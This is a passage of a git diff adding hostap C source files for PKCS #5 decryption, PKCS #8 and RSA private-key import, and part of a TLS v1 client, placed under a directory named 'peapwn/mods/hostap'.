hdr.payload, hdr.length); + return -1; + } + wpa_printf(MSG_DEBUG, "PKCS #5: iterationCount=0x%x", + params->iter_count); + if (params->iter_count == 0 || params->iter_count > 0xffff) { + wpa_printf(MSG_INFO, "PKCS #5: Unsupported " + "iterationCount=0x%x", params->iter_count); + return -1; + } + + return 0; +} + + +static struct crypto_cipher * pkcs5_crypto_init(struct pkcs5_params *params, + const char *passwd) +{ + unsigned int i; + u8 hash[MD5_MAC_LEN]; + const u8 *addr[2]; + size_t len[2]; + + if (params->alg != PKCS5_ALG_MD5_DES_CBC) + return NULL; + + addr[0] = (const u8 *) passwd; + len[0] = os_strlen(passwd); + addr[1] = params->salt; + len[1] = params->salt_len; + if (md5_vector(2, addr, len, hash) < 0) + return NULL; + addr[0] = hash; + len[0] = MD5_MAC_LEN; + for (i = 1; i < params->iter_count; i++) { + if (md5_vector(1, addr, len, hash) < 0) + return NULL; + } + /* TODO: DES key parity bits(?) */ + wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES key", hash, 8); + wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES IV", hash + 8, 8); + + return crypto_cipher_init(CRYPTO_CIPHER_ALG_DES, hash + 8, hash, 8); +} + + +u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len, + const u8 *enc_data, size_t enc_data_len, + const char *passwd, size_t *data_len) +{ + struct crypto_cipher *ctx; + u8 *eb, pad; + struct pkcs5_params params; + unsigned int i; + + if (pkcs5_get_params(enc_alg, enc_alg_len, ¶ms) < 0) { + wpa_printf(MSG_DEBUG, "PKCS #5: Unsupported parameters"); + return NULL; + } + + ctx = pkcs5_crypto_init(¶ms, passwd); + if (ctx == NULL) { + wpa_printf(MSG_DEBUG, "PKCS #5: Failed to initialize crypto"); + return NULL; + } + + /* PKCS #5, Section 7 - Decryption process */ + if (enc_data_len < 16 || enc_data_len % 8) { + wpa_printf(MSG_INFO, "PKCS #5: invalid length of ciphertext " + "%d", (int) enc_data_len); + crypto_cipher_deinit(ctx); + return NULL; + } + + eb = os_malloc(enc_data_len); + if (eb == NULL) { + crypto_cipher_deinit(ctx); + return NULL; + } + + if (crypto_cipher_decrypt(ctx, enc_data, eb, enc_data_len) < 0) { + wpa_printf(MSG_DEBUG, "PKCS #5: Failed to decrypt EB"); + crypto_cipher_deinit(ctx); + os_free(eb); + return NULL; + } + crypto_cipher_deinit(ctx); + + pad = eb[enc_data_len - 1]; + if (pad > 8) { + wpa_printf(MSG_INFO, "PKCS #5: Invalid PS octet 0x%x", pad); + os_free(eb); + return NULL; + } + for (i = enc_data_len - pad; i < enc_data_len; i++) { + if (eb[i] != pad) { + wpa_hexdump(MSG_INFO, "PKCS #5: Invalid PS", + eb + enc_data_len - pad, pad); + os_free(eb); + return NULL; + } + } + + wpa_hexdump_key(MSG_MSGDUMP, "PKCS #5: message M (encrypted key)", + eb, enc_data_len - pad); + + *data_len = enc_data_len - pad; + return eb; +} diff --git a/peapwn/mods/hostap/src/tls/pkcs5.h b/peapwn/mods/hostap/src/tls/pkcs5.h new file mode 100644 index 000000000..20ddadc45 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/pkcs5.h @@ -0,0 +1,16 @@ +/* + * PKCS #5 (Password-based Encryption) + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PKCS5_H +#define PKCS5_H + +u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len, + const u8 *enc_data, size_t enc_data_len, + const char *passwd, size_t *data_len); + +#endif /* PKCS5_H */ diff --git a/peapwn/mods/hostap/src/tls/pkcs8.c b/peapwn/mods/hostap/src/tls/pkcs8.c new file mode 100644 index 000000000..52e43a440 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/pkcs8.c @@ -0,0 +1,187 @@ +/* + * PKCS #8 (Private-key information syntax) + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "asn1.h" +#include "bignum.h" +#include "rsa.h" +#include "pkcs5.h" +#include "pkcs8.h" + + +struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len) +{ + struct asn1_hdr hdr; + const u8 *pos, *end; + struct bignum *zero; + struct asn1_oid oid; + char obuf[80]; + + /* PKCS #8, Chapter 6 */ + + /* PrivateKeyInfo ::= SEQUENCE */ + if (asn1_get_next(buf, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 " + "header (SEQUENCE); assume PKCS #8 not used"); + return NULL; + } + pos = hdr.payload; + end = pos + hdr.length; + + /* version Version (Version ::= INTEGER) */ + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { + wpa_printf(MSG_DEBUG, "PKCS #8: Expected INTEGER - found " + "class %d tag 0x%x; assume PKCS #8 not used", + hdr.class, hdr.tag); + return NULL; + } + + zero = bignum_init(); + if (zero == NULL) + return NULL; + + if (bignum_set_unsigned_bin(zero, hdr.payload, hdr.length) < 0) { + wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse INTEGER"); + bignum_deinit(zero); + return NULL; + } + pos = hdr.payload + hdr.length; + + if (bignum_cmp_d(zero, 0) != 0) { + wpa_printf(MSG_DEBUG, "PKCS #8: Expected zero INTEGER in the " + "beginning of private key; not found; assume " + "PKCS #8 not used"); + bignum_deinit(zero); + return NULL; + } + bignum_deinit(zero); + + /* privateKeyAlgorithm PrivateKeyAlgorithmIdentifier + * (PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier) */ + if (asn1_get_next(pos, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE " + "(AlgorithmIdentifier) - found class %d tag 0x%x; " + "assume PKCS #8 not used", + hdr.class, hdr.tag); + return NULL; + } + + if (asn1_get_oid(hdr.payload, hdr.length, &oid, &pos)) { + wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse OID " + "(algorithm); assume PKCS #8 not used"); + return NULL; + } + + asn1_oid_to_str(&oid, obuf, sizeof(obuf)); + wpa_printf(MSG_DEBUG, "PKCS #8: algorithm=%s", obuf); + + if (oid.len != 7 || + oid.oid[0] != 1 /* iso */ || + oid.oid[1] != 2 /* member-body */ || + oid.oid[2] != 840 /* us */ || + oid.oid[3] != 113549 /* rsadsi */ || + oid.oid[4] != 1 /* pkcs */ || + oid.oid[5] != 1 /* pkcs-1 */ || + oid.oid[6] != 1 /* rsaEncryption */) { + wpa_printf(MSG_DEBUG, "PKCS #8: Unsupported private key " + "algorithm %s", obuf); + return NULL; + } + + pos = hdr.payload + hdr.length; + + /* privateKey PrivateKey (PrivateKey ::= OCTET STRING) */ + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_OCTETSTRING) { + wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING " + "(privateKey) - found class %d tag 0x%x", + hdr.class, hdr.tag); + return NULL; + } + wpa_printf(MSG_DEBUG, "PKCS #8: Try to parse RSAPrivateKey"); + + return (struct crypto_private_key *) + crypto_rsa_import_private_key(hdr.payload, hdr.length); +} + + +struct crypto_private_key * +pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd) +{ + struct asn1_hdr hdr; + const u8 *pos, *end, *enc_alg; + size_t enc_alg_len; + u8 *data; + size_t data_len; + + if (passwd == NULL) + return NULL; + + /* + * PKCS #8, Chapter 7 + * EncryptedPrivateKeyInfo ::= SEQUENCE { + * encryptionAlgorithm EncryptionAlgorithmIdentifier, + * encryptedData EncryptedData } + * EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier + * EncryptedData ::= OCTET STRING + */ + + if (asn1_get_next(buf, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 " + "header (SEQUENCE); assume encrypted PKCS #8 not " + "used"); + return NULL; + } + pos = hdr.payload; + end = pos + hdr.length; + + /* encryptionAlgorithm EncryptionAlgorithmIdentifier */ + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE " + "(AlgorithmIdentifier) - found class %d tag 0x%x; " + "assume encrypted PKCS #8 not used", + hdr.class, hdr.tag); + return NULL; + } + enc_alg = hdr.payload; + enc_alg_len = hdr.length; + pos = hdr.payload + hdr.length; + + /* encryptedData EncryptedData */ + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_OCTETSTRING) { + wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING " + "(encryptedData) - found class %d tag 0x%x", + hdr.class, hdr.tag); + return NULL; + } + + data = pkcs5_decrypt(enc_alg, enc_alg_len, hdr.payload, hdr.length, + passwd, &data_len); + if (data) { + struct crypto_private_key *key; + key = pkcs8_key_import(data, data_len); + os_free(data); + return key; + } + + return NULL; +} diff --git a/peapwn/mods/hostap/src/tls/pkcs8.h b/peapwn/mods/hostap/src/tls/pkcs8.h new file mode 100644 index 000000000..bebf840ba --- /dev/null +++ b/peapwn/mods/hostap/src/tls/pkcs8.h @@ -0,0 +1,16 @@ +/* + * PKCS #8 (Private-key information syntax) + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PKCS8_H +#define PKCS8_H + +struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len); +struct crypto_private_key * +pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd); + +#endif /* PKCS8_H */ diff --git a/peapwn/mods/hostap/src/tls/rsa.c b/peapwn/mods/hostap/src/tls/rsa.c new file mode 100644 index 000000000..125c4205b --- /dev/null +++ b/peapwn/mods/hostap/src/tls/rsa.c @@ -0,0 +1,352 @@ +/* + * RSA + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "asn1.h" +#include "bignum.h" +#include "rsa.h" + + +struct crypto_rsa_key { + int private_key; /* whether private key is set */ + struct bignum *n; /* modulus (p * q) */ + struct bignum *e; /* public exponent */ + /* The following parameters are available only if private_key is set */ + struct bignum *d; /* private exponent */ + struct bignum *p; /* prime p (factor of n) */ + struct bignum *q; /* prime q (factor of n) */ + struct bignum *dmp1; /* d mod (p - 1); CRT exponent */ + struct bignum *dmq1; /* d mod (q - 1); CRT exponent */ + struct bignum *iqmp; /* 1 / q mod p; CRT coefficient */ +}; + + +static const u8 * crypto_rsa_parse_integer(const u8 *pos, const u8 *end, + struct bignum *num) +{ + struct asn1_hdr hdr; + + if (pos == NULL) + return NULL; + + if (asn1_get_next(pos, end - pos, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { + wpa_printf(MSG_DEBUG, "RSA: Expected INTEGER - found class %d " + "tag 0x%x", hdr.class, hdr.tag); + return NULL; + } + + if (bignum_set_unsigned_bin(num, hdr.payload, hdr.length) < 0) { + wpa_printf(MSG_DEBUG, "RSA: Failed to parse INTEGER"); + return NULL; + } + + return hdr.payload + hdr.length; +} + + +/** + * crypto_rsa_import_public_key - Import an RSA public key + * @buf: Key buffer (DER encoded RSA public key) + * @len: Key buffer length in bytes + * Returns: Pointer to the public key or %NULL on failure + */ +struct crypto_rsa_key * +crypto_rsa_import_public_key(const u8 *buf, size_t len) +{ + struct crypto_rsa_key *key; + struct asn1_hdr hdr; + const u8 *pos, *end; + + key = os_zalloc(sizeof(*key)); + if (key == NULL) + return NULL; + + key->n = bignum_init(); + key->e = bignum_init(); + if (key->n == NULL || key->e == NULL) { + crypto_rsa_free(key); + return NULL; + } + + /* + * PKCS #1, 7.1: + * RSAPublicKey ::= SEQUENCE { + * modulus INTEGER, -- n + * publicExponent INTEGER -- e + * } + */ + + if (asn1_get_next(buf, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE " + "(public key) - found class %d tag 0x%x", + hdr.class, hdr.tag); + goto error; + } + pos = hdr.payload; + end = pos + hdr.length; + + pos = crypto_rsa_parse_integer(pos, end, key->n); + pos = crypto_rsa_parse_integer(pos, end, key->e); + + if (pos == NULL) + goto error; + + if (pos != end) { + wpa_hexdump(MSG_DEBUG, + "RSA: Extra data in public key SEQUENCE", + pos, end - pos); + goto error; + } + + return key; + +error: + crypto_rsa_free(key); + return NULL; +} + + +/** + * crypto_rsa_import_private_key - Import an RSA private key + * @buf: Key buffer (DER encoded RSA private key) + * @len: Key buffer length in bytes + * Returns: Pointer to the private key or %NULL on failure + */ +struct crypto_rsa_key * +crypto_rsa_import_private_key(const u8 *buf, size_t len) +{ + struct crypto_rsa_key *key; + struct bignum *zero; + struct asn1_hdr hdr; + const u8 *pos, *end; + + key = os_zalloc(sizeof(*key)); + if (key == NULL) + return NULL; + + key->private_key = 1; + + key->n = bignum_init(); + key->e = bignum_init(); + key->d = bignum_init(); + key->p = bignum_init(); + key->q = bignum_init(); + key->dmp1 = bignum_init(); + key->dmq1 = bignum_init(); + key->iqmp = bignum_init(); + + if (key->n == NULL || key->e == NULL || key->d == NULL || + key->p == NULL || key->q == NULL || key->dmp1 == NULL || + key->dmq1 == NULL || key->iqmp == NULL) { + crypto_rsa_free(key); + return NULL; + } + + /* + * PKCS #1, 7.2: + * RSAPrivateKey ::= SEQUENCE { + * version Version, + * modulus INTEGER, -- n + * publicExponent INTEGER, -- e + * privateExponent INTEGER, -- d + * prime1 INTEGER, -- p + * prime2 INTEGER, -- q + * exponent1 INTEGER, -- d mod (p-1) + * exponent2 INTEGER, -- d mod (q-1) + * coefficient INTEGER -- (inverse of q) mod p + * } + * + * Version ::= INTEGER -- shall be 0 for this version of the standard + */ + if (asn1_get_next(buf, len, &hdr) < 0 || + hdr.class != ASN1_CLASS_UNIVERSAL || + hdr.tag != ASN1_TAG_SEQUENCE) { + wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE " + "(public key) - found class %d tag 0x%x", + hdr.class, hdr.tag); + goto error; + } + pos = hdr.payload; + end = pos + hdr.length; + + zero = bignum_init(); + if (zero == NULL) + goto error; + pos = crypto_rsa_parse_integer(pos, end, zero); + if (pos == NULL || bignum_cmp_d(zero, 0) != 0) { + wpa_printf(MSG_DEBUG, "RSA: Expected zero INTEGER in the " + "beginning of private key; not found"); + bignum_deinit(zero); + goto error; + } + bignum_deinit(zero); + + pos = crypto_rsa_parse_integer(pos, end, key->n); + pos = crypto_rsa_parse_integer(pos, end, key->e); + pos = crypto_rsa_parse_integer(pos, end, key->d); + pos = crypto_rsa_parse_integer(pos, end, key->p); + pos = crypto_rsa_parse_integer(pos, end, key->q); + pos = crypto_rsa_parse_integer(pos, end, key->dmp1); + pos = crypto_rsa_parse_integer(pos, end, key->dmq1); + pos = crypto_rsa_parse_integer(pos, end, key->iqmp); + + if (pos == NULL) + goto error; + + if (pos != end) { + wpa_hexdump(MSG_DEBUG, + "RSA: Extra data in public key SEQUENCE", + pos, end - pos); + goto error; + } + + return key; + +error: + crypto_rsa_free(key); + return NULL; +} + + +/** + * crypto_rsa_get_modulus_len - Get the modulus length of the RSA key + * @key: RSA key + * Returns: Modulus length of the key + */ +size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key) +{ + return bignum_get_unsigned_bin_len(key->n); +} + + +/** + * crypto_rsa_exptmod - RSA modular exponentiation + * @in: Input data + * @inlen: Input data length + * @out: Buffer for output data + * @outlen: Maximum size of the output buffer and used size on success + * @key: RSA key + * @use_private: 1 = Use RSA private key, 0 = Use RSA public key + * Returns: 0 on success, -1 on failure + */ +int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen, + struct crypto_rsa_key *key, int use_private) +{ + struct bignum *tmp, *a = NULL, *b = NULL; + int ret = -1; + size_t modlen; + + if (use_private && !key->private_key) + return -1; + + tmp = bignum_init(); + if (tmp == NULL) + return -1; + + if (bignum_set_unsigned_bin(tmp, in, inlen) < 0) + goto error; + if (bignum_cmp(key->n, tmp) < 0) { + /* Too large input value for the RSA key modulus */ + goto error; + } + + if (use_private) { + /* + * Decrypt (or sign) using Chinese remainer theorem to speed + * up calculation. This is equivalent to tmp = tmp^d mod n + * (which would require more CPU to calculate directly). + * + * dmp1 = (1/e) mod (p-1) + * dmq1 = (1/e) mod (q-1) + * iqmp = (1/q) mod p, where p > q + * m1 = c^dmp1 mod p + * m2 = c^dmq1 mod q + * h = q^-1 (m1 - m2) mod p + * m = m2 + hq + */ + a = bignum_init(); + b = bignum_init(); + if (a == NULL || b == NULL) + goto error; + + /* a = tmp^dmp1 mod p */ + if (bignum_exptmod(tmp, key->dmp1, key->p, a) < 0) + goto error; + + /* b = tmp^dmq1 mod q */ + if (bignum_exptmod(tmp, key->dmq1, key->q, b) < 0) + goto error; + + /* tmp = (a - b) * (1/q mod p) (mod p) */ + if (bignum_sub(a, b, tmp) < 0 || + bignum_mulmod(tmp, key->iqmp, key->p, tmp) < 0) + goto error; + + /* tmp = b + q * tmp */ + if (bignum_mul(tmp, key->q, tmp) < 0 || + bignum_add(tmp, b, tmp) < 0) + goto error; + } else { + /* Encrypt (or verify signature) */ + /* tmp = tmp^e mod N */ + if (bignum_exptmod(tmp, key->e, key->n, tmp) < 0) + goto error; + } + + modlen = crypto_rsa_get_modulus_len(key); + if (modlen > *outlen) { + *outlen = modlen; + goto error; + } + + if (bignum_get_unsigned_bin_len(tmp) > modlen) + goto error; /* should never happen */ + + *outlen = modlen; + os_memset(out, 0, modlen); + if (bignum_get_unsigned_bin( + tmp, out + + (modlen - bignum_get_unsigned_bin_len(tmp)), NULL) < 0) + goto error; + + ret = 0; + +error: + bignum_deinit(tmp); + bignum_deinit(a); + bignum_deinit(b); + return ret; +} + + +/** + * crypto_rsa_free - Free RSA key + * @key: RSA key to be freed + * + * This function frees an RSA key imported with either + * crypto_rsa_import_public_key() or crypto_rsa_import_private_key(). + */ +void crypto_rsa_free(struct crypto_rsa_key *key) +{ + if (key) { + bignum_deinit(key->n); + bignum_deinit(key->e); + bignum_deinit(key->d); + bignum_deinit(key->p); + bignum_deinit(key->q); + bignum_deinit(key->dmp1); + bignum_deinit(key->dmq1); + bignum_deinit(key->iqmp); + os_free(key); + } +} diff --git a/peapwn/mods/hostap/src/tls/rsa.h b/peapwn/mods/hostap/src/tls/rsa.h new file mode 100644 index 000000000..c236a9df4 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/rsa.h @@ -0,0 +1,23 @@ +/* + * RSA + * Copyright (c) 2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef RSA_H +#define RSA_H + +struct crypto_rsa_key; + +struct crypto_rsa_key * +crypto_rsa_import_public_key(const u8 *buf, size_t len); +struct crypto_rsa_key * +crypto_rsa_import_private_key(const u8 *buf, size_t len); +size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key); +int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen, + struct crypto_rsa_key *key, int use_private); +void crypto_rsa_free(struct crypto_rsa_key *key); + +#endif /* RSA_H */ diff --git a/peapwn/mods/hostap/src/tls/tlsv1_client.c b/peapwn/mods/hostap/src/tls/tlsv1_client.c new file mode 100644 index 000000000..12148b61d --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_client.c @@ -0,0 +1,794 @@ +/* + * TLS v1.0/v1.1/v1.2 client (RFC 2246, RFC 4346, RFC 5246) + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "tlsv1_common.h" +#include "tlsv1_record.h" +#include "tlsv1_client.h" +#include "tlsv1_client_i.h" + +/* TODO: + * Support for a message fragmented across several records (RFC 2246, 6.2.1) + */ + + +void tls_alert(struct tlsv1_client *conn, u8 level, u8 description) +{ + conn->alert_level = level; + conn->alert_description = description; +} + + +void tlsv1_client_free_dh(struct tlsv1_client *conn) +{ + os_free(conn->dh_p); + os_free(conn->dh_g); + os_free(conn->dh_ys); + conn->dh_p = conn->dh_g = conn->dh_ys = NULL; +} + + +int tls_derive_pre_master_secret(u8 *pre_master_secret) +{ + WPA_PUT_BE16(pre_master_secret, TLS_VERSION); + if (os_get_random(pre_master_secret + 2, + TLS_PRE_MASTER_SECRET_LEN - 2)) + return -1; + return 0; +} + + +int tls_derive_keys(struct tlsv1_client *conn, + const u8 *pre_master_secret, size_t pre_master_secret_len) +{ + u8 seed[2 * TLS_RANDOM_LEN]; + u8 key_block[TLS_MAX_KEY_BLOCK_LEN]; + u8 *pos; + size_t key_block_len; + + if (pre_master_secret) { + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret", + pre_master_secret, pre_master_secret_len); + os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, + TLS_RANDOM_LEN); + if (tls_prf(conn->rl.tls_version, + pre_master_secret, pre_master_secret_len, + "master secret", seed, 2 * TLS_RANDOM_LEN, + conn->master_secret, TLS_MASTER_SECRET_LEN)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive " + "master_secret"); + return -1; + } + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret", + conn->master_secret, TLS_MASTER_SECRET_LEN); + } + + os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); + key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len); + if (conn->rl.tls_version == TLS_VERSION_1) + key_block_len += 2 * conn->rl.iv_size; + if (tls_prf(conn->rl.tls_version, + conn->master_secret, TLS_MASTER_SECRET_LEN, + "key expansion", seed, 2 * TLS_RANDOM_LEN, + key_block, key_block_len)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block"); + return -1; + } + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block", + key_block, key_block_len); + + pos = key_block; + + /* client_write_MAC_secret */ + os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size); + pos += conn->rl.hash_size; + /* server_write_MAC_secret */ + os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size); + pos += conn->rl.hash_size; + + /* client_write_key */ + os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len); + pos += conn->rl.key_material_len; + /* server_write_key */ + os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len); + pos += conn->rl.key_material_len; + + if (conn->rl.tls_version == TLS_VERSION_1) { + /* client_write_IV */ + os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size); + pos += conn->rl.iv_size; + /* server_write_IV */ + os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size); + pos += conn->rl.iv_size; + } else { + /* + * Use IV field to set the mask value for TLS v1.1. A fixed + * mask of zero is used per the RFC 4346, 6.2.3.2 CBC Block + * Cipher option 2a. + */ + os_memset(conn->rl.write_iv, 0, conn->rl.iv_size); + } + + return 0; +} + + +/** + * tlsv1_client_handshake - Process TLS handshake + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @in_data: Input data from TLS peer + * @in_len: Input data length + * @out_len: Length of the output buffer. + * @appl_data: Pointer to application data pointer, or %NULL if dropped + * @appl_data_len: Pointer to variable that is set to appl_data length + * @need_more_data: Set to 1 if more data would be needed to complete + * processing + * Returns: Pointer to output data, %NULL on failure + */ +u8 * tlsv1_client_handshake(struct tlsv1_client *conn, + const u8 *in_data, size_t in_len, + size_t *out_len, u8 **appl_data, + size_t *appl_data_len, int *need_more_data) +{ + const u8 *pos, *end; + u8 *msg = NULL, *in_msg = NULL, *in_pos, *in_end, alert, ct; + size_t in_msg_len; + int no_appl_data; + int used; + + if (need_more_data) + *need_more_data = 0; + + if (conn->state == CLIENT_HELLO) { + if (in_len) + return NULL; + return tls_send_client_hello(conn, out_len); + } + + if (conn->partial_input) { + if (wpabuf_resize(&conn->partial_input, in_len) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " + "memory for pending record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + goto failed; + } + wpabuf_put_data(conn->partial_input, in_data, in_len); + in_data = wpabuf_head(conn->partial_input); + in_len = wpabuf_len(conn->partial_input); + } + + if (in_data == NULL || in_len == 0) + return NULL; + + pos = in_data; + end = in_data + in_len; + in_msg = os_malloc(in_len); + if (in_msg == NULL) + return NULL; + + /* Each received packet may include multiple records */ + while (pos < end) { + in_msg_len = in_len; + used = tlsv1_record_receive(&conn->rl, pos, end - pos, + in_msg, &in_msg_len, &alert); + if (used < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Processing received " + "record failed"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); + goto failed; + } + if (used == 0) { + struct wpabuf *partial; + wpa_printf(MSG_DEBUG, "TLSv1: Need more data"); + partial = wpabuf_alloc_copy(pos, end - pos); + wpabuf_free(conn->partial_input); + conn->partial_input = partial; + if (conn->partial_input == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to " + "allocate memory for pending " + "record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + goto failed; + } + os_free(in_msg); + if (need_more_data) + *need_more_data = 1; + return NULL; + } + ct = pos[0]; + + in_pos = in_msg; + in_end = in_msg + in_msg_len; + + /* Each received record may include multiple messages of the + * same ContentType. */ + while (in_pos < in_end) { + in_msg_len = in_end - in_pos; + if (tlsv1_client_process_handshake(conn, ct, in_pos, + &in_msg_len, + appl_data, + appl_data_len) < 0) + goto failed; + in_pos += in_msg_len; + } + + pos += used; + } + + os_free(in_msg); + in_msg = NULL; + + no_appl_data = appl_data == NULL || *appl_data == NULL; + msg = tlsv1_client_handshake_write(conn, out_len, no_appl_data); + +failed: + os_free(in_msg); + if (conn->alert_level) { + wpabuf_free(conn->partial_input); + conn->partial_input = NULL; + conn->state = FAILED; + os_free(msg); + msg = tlsv1_client_send_alert(conn, conn->alert_level, + conn->alert_description, + out_len); + } else if (msg == NULL) { + msg = os_zalloc(1); + *out_len = 0; + } + + if (need_more_data == NULL || !(*need_more_data)) { + wpabuf_free(conn->partial_input); + conn->partial_input = NULL; + } + + return msg; +} + + +/** + * tlsv1_client_encrypt - Encrypt data into TLS tunnel + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @in_data: Pointer to plaintext data to be encrypted + * @in_len: Input buffer length + * @out_data: Pointer to output buffer (encrypted TLS data) + * @out_len: Maximum out_data length + * Returns: Number of bytes written to out_data, -1 on failure + * + * This function is used after TLS handshake has been completed successfully to + * send data in the encrypted tunnel. + */ +int tlsv1_client_encrypt(struct tlsv1_client *conn, + const u8 *in_data, size_t in_len, + u8 *out_data, size_t out_len) +{ + size_t rlen; + + wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData", + in_data, in_len); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA, + out_data, out_len, in_data, in_len, &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + return rlen; +} + + +/** + * tlsv1_client_decrypt - Decrypt data from TLS tunnel + * @conn: TLSv1 client connection data from tlsv1_client_init() + * @in_data: Pointer to input buffer (encrypted TLS data) + * @in_len: Input buffer length + * @need_more_data: Set to 1 if more data would be needed to complete + * processing + * Returns: Decrypted data or %NULL on failure + * + * This function is used after TLS handshake has been completed successfully to + * receive data from the encrypted tunnel. + */ +struct wpabuf * tlsv1_client_decrypt(struct tlsv1_client *conn, + const u8 *in_data, size_t in_len, + int *need_more_data) +{ + const u8 *in_end, *pos; + int used; + u8 alert, *out_pos, ct; + size_t olen; + struct wpabuf *buf = NULL; + + if (need_more_data) + *need_more_data = 0; + + if (conn->partial_input) { + if (wpabuf_resize(&conn->partial_input, in_len) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " + "memory for pending record"); + alert = TLS_ALERT_INTERNAL_ERROR; + goto fail; + } + wpabuf_put_data(conn->partial_input, in_data, in_len); + in_data = wpabuf_head(conn->partial_input); + in_len = wpabuf_len(conn->partial_input); + } + + pos = in_data; + in_end = in_data + in_len; + + while (pos < in_end) { + ct = pos[0]; + if (wpabuf_resize(&buf, in_end - pos) < 0) { + alert = TLS_ALERT_INTERNAL_ERROR; + goto fail; + } + out_pos = wpabuf_put(buf, 0); + olen = wpabuf_tailroom(buf); + used = tlsv1_record_receive(&conn->rl, pos, in_end - pos, + out_pos, &olen, &alert); + if (used < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing " + "failed"); + goto fail; + } + if (used == 0) { + struct wpabuf *partial; + 